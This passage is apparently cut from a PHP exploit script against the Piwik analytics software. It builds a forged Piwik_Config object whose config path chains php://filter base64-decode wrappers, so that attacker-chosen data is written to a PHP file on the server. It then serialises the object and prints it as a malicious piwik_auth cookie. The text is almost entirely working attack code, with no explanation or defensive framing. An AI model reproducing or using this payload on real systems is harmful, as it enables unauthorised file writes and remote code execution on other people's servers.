"; $filename = "./test.php"; class Zend_Config { } class Piwik_Config { protected $userConfig = null; protected $pathIniFileUserConfig = null; protected $configFileUpdated = true; protected $doWriteFileWhenUpdated = true; protected $correctCwd; function __construct() { $this->userConfig = array('Z'.base64_encode(base64_encode('0k6k5xUxz')). base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(($GLOBALS['filedata'])))))) => new Zend_Config()); $this->correctCwd = dirname($GLOBALS['filename']); $this->pathIniFileUserConfig = str_repeat("php://filter/write=convert.base64-decode/resource=", 5); $this->pathIniFileUserConfig.=$GLOBALS['filename']; } } $x = array(1 => new Piwik_Config(), 2 => 1); $x = serialize($x); $x = substr($x, 0, strlen($x)-1); echo "Cookie: piwik_auth=x=".base64_encode($x); die();